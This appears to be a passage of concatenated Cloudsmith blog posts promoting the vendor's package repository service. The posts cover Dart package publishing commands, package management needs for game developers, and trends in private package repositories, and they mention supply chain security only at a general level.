pulling/installing, there is no doubt that using the native tooling for whatever package formats you use is the right way to go. ## **Let’s look at an example.** ### **Publishing a Package to Cloudsmith** The new Cloudsmith endpoint for the native Dart API is: `https://dart.cloudsmith.io/{ACCOUNT}/{REPO}` (Where {ACCOUNT} is your Cloudsmith Organization identifier/namespace and {REPO} is your Cloudsmith Repo name/identifier) So, to specify the location that you wish to publish a Dart project to, you just need to add the following to the root of your pubspec.yaml file: `publish_to: https://dart.cloudsmith.io/{ACCOUNT}/{REPO}/` Then, to store your Cloudsmith API Key to authenticate for publishing, you just need to use the `dart pub token add` command: ```json { "_key": "b6a11466ba70", "_type": "code", "code": "echo '{YOUR-API-KEY}' | dart pub token add https://dart.cloudsmith.io/{ACCOUNT}/{REPO}/", "filename": null, "language": "text", "markDefs": null } ``` You can then simply publish your Dart package from your project directory with `dart pub publish` as follows: ```json { "_key": "a1a3d2d438c3", "_type": "code", "code": "dart pub publish", "filename": null, "language": "text", "markDefs": null } ``` It’s that simple! ### ******Installing a Package from Cloudsmith****** It’s also just as straightforward to install a package. While you absolutely can use your Cloudsmith API key to authenticate (as you would when publishing) and pull a package, you can also use a [Cloudsmith Entitlement Token](https://help.cloudsmith.io/docs/entitlements): ```json { "_key": "a7d1f6b6b399", "_type": "code", "code": "echo '{TOKEN}' | dart pub token add https://dart.cloudsmith.io/{ACCOUNT}/{REPO}/", "filename": null, "language": "text", "markDefs": null } ``` And then dart pub can add a dependency from this repository to your package `pubspec.yaml` automatically: ```json { "_key": "0f8f18aa24e3", "_type": "code", "code": "dart pub add your-package:1.2.3 --hosted-url", "filename": null, "language": "text", "markDefs": null } ``` Again, it really is that simple. For those who’d prefer to watch, see our video tutorial on [setting up a private Dart repository](/blog/cloudsmith-launches-worlds-first-private-dart-repository-service) using Cloudsmith, or read our [official documentation on how to push dart packages to Cloudsmith](https://help.cloudsmith.io/docs/dart-repository). ## **To Sum Up** The release of Dart 2.15.1 and the associated improvements to Cloudsmith to support the new functionality this release provides to ensure that Dart packages remain first-class citizens on Cloudsmith. Our customers are very excited to see this progress. We will continue to push forward, both with [support for new package types](https://cloudsmith.com/product/universal/) and keeping our support for existing package types as current as possible. We know that private Cloudsmith repositories sit right at the heart of our customers' build and deployment pipelines and this is not a responsibility that we take lightly. Our customers rely on us, and we are dedicated to providing a best-in-class package management service. As always, we would love to hear from you about these improvements or anything package management related! Likewise, we get that you might just want to jump right in and try it out for yourself. Start building a [****private Dart repository****](https://cloudsmith.com/dart-repository/) today with a free 14-day trial - no credit card needed. Happy packaging! Video games are not just computer programs, they are audio-visual artistic works. It’s a collaborative effort between software engineers, animators, scriptwriters, graphic designers, photographers and sound engineers. Working with these collaborators and assets leads to a different software pipeline than the average software project. They also have the added complication of making cross-platform games - custom optimizations for a particular platform can have the unwelcome side effect of increasing build times and complicating the build process. But when it comes down to it, it’s still a software pipeline that needs a package repository to store its artifacts. On top of storing their artifacts, gaming developers need a package management tool that helps secure their software supply chain. Protecting and understanding the threats from the software supply chain aren’t new concepts in gaming development by any means. For years, Anti-cheat game developers have been developing ways to protect their supply chain with signed firmware to combat mods, anti-debugging software to defer piracy and hackers, and runtime integrity checks to combat cheaters. A somewhat new avenue of attack from the supply chain is 3rd party dependencies. Gaming developers should be able to assess and manage their dependencies easily. Like other software pipelines, trust in dependencies is integral to the security of their software. Some gaming software, such as anti-cheat software, can often run at a very high privilege level - the consequences of adding a dependency with a vulnerability could be catastrophic. ****Gaming developers need their package management solution to:**** - Store all their artifacts and have native support for the formats that are popular in gaming development such as Unity, NuGet, Lua, Maven, raw files for binaries, Docker, Helm and packages for mobile platforms like Cocoapods and Kotlin. - Be easy to automate against with APIs, CLIs, Webhooks, Integrations with other DevOps tools and good documentation - Support hosting large files like 3D models, visual or audio assets. - Help them manage the licenses of the dependencies they use. - Help them visualize, control and secure their supply chain including their 3rd party dependancies. - Allow them to work with distributed teams. ## **Gaming Development Pipelines** A gaming development pipeline builds a video game from concept to completion. These pipelines have to cope with cross-platform builds, audiovisual assets, licensing, different revisions, and creative changes. They also need to contend with a distributed workforce and the security of their software supply chain. Needless to say, Gaming development has quite a complex and time-consuming software pipeline. ### **Cross-Platform Game Development** Cross-Platform game development allows you to code once and release to all platforms, whether mobile, console, PC, AR, or cloud gaming platforms. The big gaming platforms include Steam, PlayStation, Xbox, Nintendo, PC, Mac, iOS, and Android. Cross-platform game development can be made more accessible with gaming engines and SDKs. The big gaming engines are Unreal and Unity (see the table below for more examples and information). Although gaming engines reduce the amount of code that needs to be reimplemented, games often need to add custom changes for things like input control, or they may want to improve the performance on specific platforms. Custom changes to optimize the game’s performance tend to have a negative impact on the build time. For example, two hours of lead time for building a game is normal in game development. ```json { "_key": "9c9d7d1bc683", "_type": "tableBlock", "firstRowIsHeader": true, "markDefs": null, "table": { "rows": [ { "_key": "df16f268-a5c0-4e2f-b3a7-82b6a9c1c6de", "_type": "tableRow", "cells": [ "Gaming Engine", "Owner", "Language", "Format/ package manager", "License", "Example Games" ] }, { "_key": "4a2b7c53-9b78-4b2f-b679-cae8e2c9e652", "_type": "tableRow", "cells": [ "Unreal Engine", "Epic Games", "C++, blueprint visual scripting", "Unreal Engine Package", "Free (royalty on gross revenue)", "Fortnite" ] }, { "_key": "98a09ba8-fb2e-49ce-bd94-1c0d629df1f7", "_type": "tableRow", "cells": [ "Unity", "Unity Technologies", "C#", "Unity Package Manager ", "Licensing fees apply to organizations of revenue more than $100,000", "Pokemon Go, Call of Duty Mobile" ] }, { "_key": "ec5ba46a-fbde-4718-b29c-24208147a629", "_type": "tableRow", "cells": [ "Amazon Lumberyard", "Amazon: Based on CryEngine with AWS support", "C++, Lua", "Lumberyard gem format for C++ packages", "Amazon Lumberyard is free; You pay standard AWS fees for the AWS services they choose to use.", "Star Citizen" ] }, { "_key": "7cea1bf0-5f38-472c-a7a4-f2f55391816e", "_type": "tableRow", "cells": [ "CryENGINE", "Crytek", "C++/ C# Flow Graph visual scripting language", "", "No license fees but monthly Membership fees to Marketplace", "Crysis 2, The Climb" ] }, { "_key": "e3fdb055-34b3-4764-be6b-4e29cc85223c", "_type": "tableRow", "cells": [ "Godot", "", "C#, gdscript", "AssetLib", "Free to use and OS via MIT license", "Resolution" ] } ] } } ``` ## ****What Gaming Developers Need from their Package Management Tool**** The gaming engine and the platform it is running on are the main determinants of what package format your package manager needs to support. Gaming developers need a [package repository](https://cloudsmith.com/product/) to host the packages they produce and consume as dependencies. Their package repository needs to support package formats such as NuGet, Unity, Lua, Maven, Conan, raw files for binaries, Docker, Helm and packages for mobile platforms like Cocoapods and Kotlin. With support for 28 different package formats and counting, Cloudsmith strives to support all package formats for gaming and beyond. ### **Packaging Large File Formats** One thing that differentiates game development from other types of software development is the interaction with 3D models, visual assets and audio assets - these tend to be big hefty files. GIT limits the size of files you can track in regular Git repositories and encourages you to use Git-lfs and replace the binary files with a text-based pointer to where the actual file is hosted. Plastic SCM is another way to version and store large raw assets. Cloudsmith suggests another solution, you host your files on Cloudsmith as a raw file format, and you can refer to it in your codebase. Bring all your assets into Cloudsmith, where you can visualize, manage and control the access to the assets. ### **Gaming Licenses** Licensing is insanely important in gaming. One case from 2014 between Epic Games and Silicon Knights resulted in a $9.2million award to Epic Games and an order to destroy all unsold copies of Silicon Knight’s games using Unreal Engine 3. It inevitably led to the dismantling of Silicon Knights. Gaming publishers use middleware software and gaming engines to build their games. They use these dependencies to model textures, create characters, physics engines, or anything to make building a game faster and more reliable. These dependencies are then distributed with licenses that describe how you can use the software. It’s essential for Gaming developers and publishers to know and review your license agreements and abide by the terms. But your package management solution can help you with this. Cloudsmith’s License Compliance provides you with an overall view of the state of licenses for the repository as a whole. It gives you at-a-glance statistics on what licenses you are currently using and allows you to edit/change the license associated with a package held within the platform. Gaming publishers also usually have a EULA (end-user license agreement) that they make you sign before playing the game. Cloudsmith provides the ability for all Raw format files, if enabled, to require an End-User License Agreement (EULA) when a user attempts to download it. You can also add a custom EULA license agreement to your Cloudsmith packages. ### **Multiformat Repositories and Universal Tagging** Talking to people in gaming, the thing that comes up as a real point of contention in gaming is that every platform is packaged differently- Sony, Nintendo, Microsoft, Steam, Epic- all different. Cross-platform game development means teams need to track and manage binaries for each platform. Your package management tool needs to help you organize your repositories and track your packages to suit the needs of cross-platform game development. - With [Multiformat repositories](/blog/modern-tech-stacks-need-multi-tenant-repositories), Cloudsmith allows you to store the same game for all the different formats in the same repository. Organize your packages by environment, platform, package type, or whatever way you see fit- we are not opinionated about how you organize your packages or containers. - Meta-data includes version numbers, formats, architectures, filetype and more. Cloudsmith extracts all the metadata from your packages and makes it available for searching/filtering. Developers often need more than this to group and organize their packages. Cloudsmith’s universal tagging gives you the ability to enrich your packages or containers with custom tags, either during package upload or after the fact. You can tag a package with information about the build process, the results of scans, specific platform information, or tag is as an alpha/beta candidate. With [universal package tagging](/blog/universal-package-tagging) you now have the ability to add your own searchable attributes to your packages, so you can define what is of importance. Multiformat repositories and Universal tagging can help you organize and track your packages in a flexible way which can help ease the pain of cross-platform development just a little. ## **Common challenges Gaming developers share with other software industries** Gaming development shares the same concerns as other industries in software development. These concerns include the need to have tools that support automation, not wanting to manage on-prem tools and the issues of having a distributed workforce spread around the world. ### **Automation** Games are hard to produce, have long release cycles, have a huge emphasis on launch dates and just like any other software product are subject to human error. Continuous integration and continuous delivery (CI/CD) is a method to frequently deliver builds by introducing automation into the stages of software development. Gaming software, just like other software pipelines, now commonly include CI/CD processes to improve the build and release systems for games and to release quality code faster. Your package repository has to be easy to automate against to support this change. Cloudsmith provides APIs, a CLI, web hooks, integrations with CI/CD tools and great documentation to help you to automate your gaming software pipeline. ### **Cloud-native** Software teams are moving away from slow, brittle on-prem DevOps tools that are unsuited to modern software development and distributed teams. Organizations don't want to worry about infrastructure, patching, upgrades, replications, or scaling. They would prefer to pay for a SaaS tool that just works without the overhead of maintaining it internally. Your package management tool is one of these DevOps tools that would benefit from being Cloud-native. Cloudsmith is a Cloud-native package management tool that makes life simpler for your Engineers. Our cloud-native architecture enabled us to develop a smart CDN for software packages, our Package Delivery Network (PDN), to ensure lightning-fast delivery of your binaries any where in the world. Cloud-native software can empower innovation, help you stay secure, reduce costs, and scale as your business needs change. ### **Distributed Teams** Distributed teams have always been quite common in Game Development, but Covid has supercharged its adoption even in small Indie gaming studios. We don’t just have distributed teams- we have distributed individuals. Devs need a package management solution to handle a distributed workforce giving everyone similar low latency access speeds. Tools that don’t do this can lead to reduced collaboration, Developer unhappiness, and lack of confidence in your software process. Cloudsmith is a Cloud-Native, fully managed package management as a service built on Cloud infrastructure and handles the distribution for you. Our infrastructure is built on top of a [Content Delivery Network](/blog/package-delivery-networks-how-they-differ-from-content-delivery-networks) (CDN) with over 225 global points of presence, ensuring your whole team can assess the assets, packages and binaries for all platforms available 24/7 ## **Securing your Gaming Software Supply Chain** The software supply chain includes your code, 3rd party dependencies, scripts, tests, environmental variables, IDEs, plugins, source code repositories, [CI/CD tools](https://cloudsmith.com/resources/ci-cd), audiovisual assets, and package repositories. The attack surface for the software supply chain is vast. The gaming industry, from the beginning, has had to contend with attacks on its supply chain to protect against piracy. They’ve had to implement signed firmware to combat mods, anti-debugging software to defer piracy and hackers, and runtime integrity checks to combat cheaters. A newer avenue of attack that other software pipelines are only recently dealing with is the attack vector from 3rd party dependencies. Like over 90% of software developed today, gaming software uses 3rd party dependencies such as middleware. These dependencies have their own dependencies. Possible reasons for gaming software attacks include stealing Intellectual property, installing malware on players’ devices to steal players PII, mine crypto, or deploying ransomware. ### **Examples of Gaming Supply Chain Attacks** - Dependency hijacking breached the MS Halo dev site. - A report from Wired identified an aggressive group of supply chain hackers that target the tools that Gaming developers use to build games. This attack has similarities with the supply chain attack on Codecov. - SquirrelLang is an interpreted, open-source programming language used by video games and cloud services for customization and plugin development. Researchers have unearthed a vulnerability in Squirrel Sandbox that could potentially allow Remote Code Execution. - A recent zero-day vulnerability, [Log4Shell](/blog/all-about-log4shell-mitigation-cve-2021-44228), was found in a commonly used logging framework for Java called Log4j. The Log4Shell exploit gives attackers a simple way to execute code on any vulnerable machine. Minecraft servers were one of the first affected by this vulnerability. ### **Trusting 3rd Party Dependencies** Gaming software developers need an easy way to check where their 3rd party dependencies come from, are they untampered, and whether they should trust it? Cloudsmith can help Game developers visualize, control, and [secure their software artifacts](https://cloudsmith.com/product/secure/) by: - Using tools with security features and processes by default, such as 2FA, Single Sign-On, and [ISO 27001 certification](/blog/cloudsmith-iso-27001-certified). - Hosting all your gaming artifacts and assets - Signing all artifacts and managing that process. Checking the signatures and checksums of artifacts is an effective defense against supply chain attacks. - Extracting, enriching, and surfacing your artifact’s metadata. This metadata contains essential information about packages, including checksums, dependencies, who built that artifact, and what platform it should be deployed. - The 3rd party dependencies can be cached, scanned, and verified. You can pull in new dependencies during the development stage and vet them before promoting them to production. Our platform can help expose, manage, and control all the software, dependencies, and assets used to make up video games, allowing you to easily secure your software supply chain. ## **A Game Development Package Management Solution** Game development has a tricky pipeline. Gaming developers need package management tools to work with their formats like Unity, Maven, Kotlin, Conan, Docker, or Helm, handle large files and manage licenses. On top of that, they need tools that are easy to automate against to help them secure their supply chain, that scale as they grow and can work with a distributed team. From the internal distribution of alphas, betas, and release candidates between teams to distributing games, patches, and updates globally, Cloudsmith is built with your games in mind. If you’re looking for a simple solution to secure your game development artifacts, you can sign up for a free 14-day trial and set up your first repository in just 60 seconds. [Signup for a free trial](https://cloudsmith.com/signup/) In [part 1](/blog/private-package-repositories-part-1) of our package repositories series, important terms like packages, metadata, dependencies, and upstreams were explained. In this part 2, we will take it further, diving into trends within the software landscape that have changed what developers and organizations want from a package repository. In recent years we’ve seen a push to use managed services in the cloud, automation, supply chain security. These practices and challenges have influenced what package repositories and package management means in 2021 and what it will mean for the future of software delivery. ## **Cloud-Native** The movement towards the cloud is one of the most significant changes in computing for organizations over the last ten years. At a minimum, cloud infrastructure and development has created new package formats such as Docker, Terraform, Helm Charts. Much more than that, developers and organizations don’t just want package management software- they want a ‘managed’ package management service. A managed package management service will eliminate the cost of supporting an in-house system while improving the reliability of accessing those packages that can scale as they grow. Organizations and developers don’t want to worry about infrastructure, patching, upgrades, replications, or scaling. They want their package repository service to have high availability and be managed and accessed on the cloud securely. In order for a package management solution to exploit the flexibility, scalability, and resilience of cloud computing, it needs to be architectured to be [cloud-native](https://cloudsmith.com/product/cloud-native/). ## **Automation** Continuous integration and continuous delivery (CI/CD) is a method to frequently deliver builds by introducing automation into the stages of software development. The whole purpose of this is to release quality code faster. CI achieves continuous flow for code. CD achieves continuous flow for delivery. But what glues them together? Continuous packaging (CP) is the term to describe maximizing process and flow in software packaging using automation. Without CP, CI/CD is missing continuous flow for the process of packaging (creating, fetching, inspecting, and managing packages). CP means that assets are always traceable, deployable, and built in the same way. The process of packaging includes creating packages, assembling external packages, inspecting/managing artifacts, token creation, downloading, installing artifacts, event logging, and metadata extraction. For CP to work, developers, CI/CD systems, and scanning tools need to be able to interact with the process of packaging easily and programmatically using well-documented APIs, CLIs, and integrations. Adding CP to your software process avoids the ad hoc construction or retrieval of assets, and gives a traceable and visible history of promotion from the source (developers and external) right through to delivery (whether internal or external). ## **Distributed Teams** Distributed teams were always quite common in Software Development, but Covid has supercharged its adoption even in small companies. How does this affect package repositories? Before joining Cloudsmith, I worked in a few distributed teams where I experienced serious lag when pushing/pulling packages compared to my colleagues in other regions. A typical problem would be having a limited number of licenses for our private repository- the private repository might be deployed on servers in the US, but not in Europe. It was frustrating, affected collaboration, and slowed down testing and building. It’s not acceptable for some teams to experience low latency while other geographically distributed teams have to put up with significant delays. Package repository tools in the past dealt with this by implementing global replications on servers, but this becomes difficult to manage and troubleshoot as the number of regions increases. Package repositories that are cloud-native deal with this problem more elegantly as they can use techniques such as PDNs with edge caching to store commonly used packages as close to the users as possible - anywhere in the world. ## **Emphasis on Supply Chain Security** The software supply chain (SSC) is all of the steps that go into deploying or distributing your software from the initial development stage, to testing, packaging, and deployment. It includes your code, scripts, environmental variables, IDEs, plugins, source code repositories, CI/CD tools, scanning tools, and of course package repositories. The attack surface for the software supply chain is vast. Recent attacks like SolarWinds and CodeCov, for example, prompted [efforts to improve the security of software supply chains](http://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/). Where you push and pull your software artifacts from is intrinsic to securing the supply chain and it has highlighted the importance of package repositories. ### **Robust Security** First things first- package repositories need strong security features to prove they are trustworthy: - Robust access control with 2FA for distribution and development - Event logs - High availability - All communication and storage should be encrypted in-transit and at-rest ### **A Single Source of Truth** Private repositories that support many formats provide one single place to track, manage, distribute and understand all software pulled into your stack. A central trusted store forces you to apply processes and controls to that ingress/egress of software packages. ### **Provenance of Packages** Package repositories can secure your packages and interrogate the provenance of packages: - Package metadata includes information on dependencies, licenses, versions, who wrote the code, results from vulnerability scans, information from CI tools. Package repositories need to extract, store and surface all of this data as it is intrinsic to resolving the provenance of software packages. - Attest (prove to outside parties) to the provenance of all the software assets and their dependencies, by signing and verifying every package uploaded. - Provide event logs on package usage. - Provide upstreams for outside packages hosted elsewhere to protect from outages from 3rd party repositories - Provide all of the packages needed in a [Software Bill of Materials](https://www.ntia.doc.gov/files/ntia/publications/sbom_minimum_elements_report.pdf) (SBOM) ### **Automation** Package repositories should promote automation by applying[ Continuous Packaging ](/blog/continuous-packaging)(CP) techniques to integrate programmatically with CI, CD, and scanning tools. Automating as much of the software supply chain as possible and making automation easy can significantly reduce the possibility of human error, improve quality, traceability and help make builds more reproducible. Your package repository can help you build trust in your software supply chain by giving you visibility and control over every single package in your software in an automated way- the single source of truth for all your software artifacts. Even in situations where the supply chain has been compromised, if you have visibility and control, you’ll be in a much better place to identify the who, how, where, why and what of what is affected, plus a much greater potential of fixing the issue or minimizing impact. ## **Languages with Community-Based Package Management** Before the adoption of community-based package managers, public language repositories, e.g., PEAR for PHP, were slow to include new packages and subject to a review board populated by a few of the language's elder statesmen. Languages with community-based package management, e.g., npm for javascript and PyPI for Python, make publishing and consuming packages easy. This ease of use has made them popular and accelerated the development process and use of OSS, but it has introduced some security issues. Popular package repositories such as npm, PyPI, RubyGems, Go, and others have been impacted by malicious attacks such as [dependency confusion](/blog/dependency-confusion-attacks), or [typosquatting](https://portswigger.net/daily-swig/suspicious-finds-researcher-discovers-go-typosquatting-package-that-relays-system-information-to-chinese-tech-firm). In addition, these public repositories that host the packages can’t guarantee uptime; private repositories with upstreams can protect against outages. These issues are related to the previous section on securing the supply chain. Node and NPM were the first time I had used a community-hosted OSS package repository. When vetting new NPM packages, I was always worried about adding an unmaintained package or code that could damage the wider project- Is it enough to check the git link, license type, date last updated, the number of downloads, and the listed dependencies? Not really. There needs to be a way to trust that a package and its dependencies are not malicious in an automated, reproducible way. Signing can be used to build up trust in packages but we discussed in Part 1 of this blog series how signing OSS packages has problems. [Work is being done](https://www.sigstore.dev/) to sign OSS packages in a transparent way. But currently, community-hosted OSS packages are not commonly signed. In the absence of using a trusted signed OSS package, package repositories can scan OSS packages for known vulnerabilities and extract metadata information like version, who wrote the code, results from scans, or license information which can provide insight into the provenance of the software package. ## **Design Patterns** Design patterns such as REST encouraged developing a strong interface for other programs to use over HTTP. RESTful services made using other web services easy and more reliable. Each web service could potentially be written in a different language as long as the interface was maintained. More recently, the microservices design pattern gave more teams or individual software developers the confidence to use new languages to develop new services within the same product. One of the possible downsides of the microservices design pattern is that it can produce many packages in different formats. Having many package formats is only a downside if your package repository doesn’t support your chosen package type and you need to manage another repository. Modern package repositories need to be able to manage and host multiple package formats. ## **What do I want from a Package Repository?** Package repositories had to evolve as software development changed and has been influenced by cloud adoption, DevOps, OSS, changing software practices, new security threats, and the rise of new package formats. So, what do I want from a Package repository tool? I want it to: - Store all formats of my packages for languages, OSs, and containers. - Allow me to [distribute packages to customers](https://cloudsmith.com/product/for-distribution/) - Be easy to automated with and integrate with CI/CD and security tools - Provide strong and intuitive [security access controls](https://cloudsmith.com/product/secure/) - Help me attest to the packages in the software supply chain - Have no loss of speed no matter where my team is - Oh, and be simple to use with great docs and support. To do this I need a package management solution that: - Is entirely cloud-native - Is universal - can host any package around the world - Can work with dependencies located in other repositories and help make what goes into your software more transparent - Applies Continuous packaging techniques to improve your CI/CD pipeline - Is a central, trusted store that forces you to apply process and controls to that ingress/egress of software packages - Is built by a company that values support.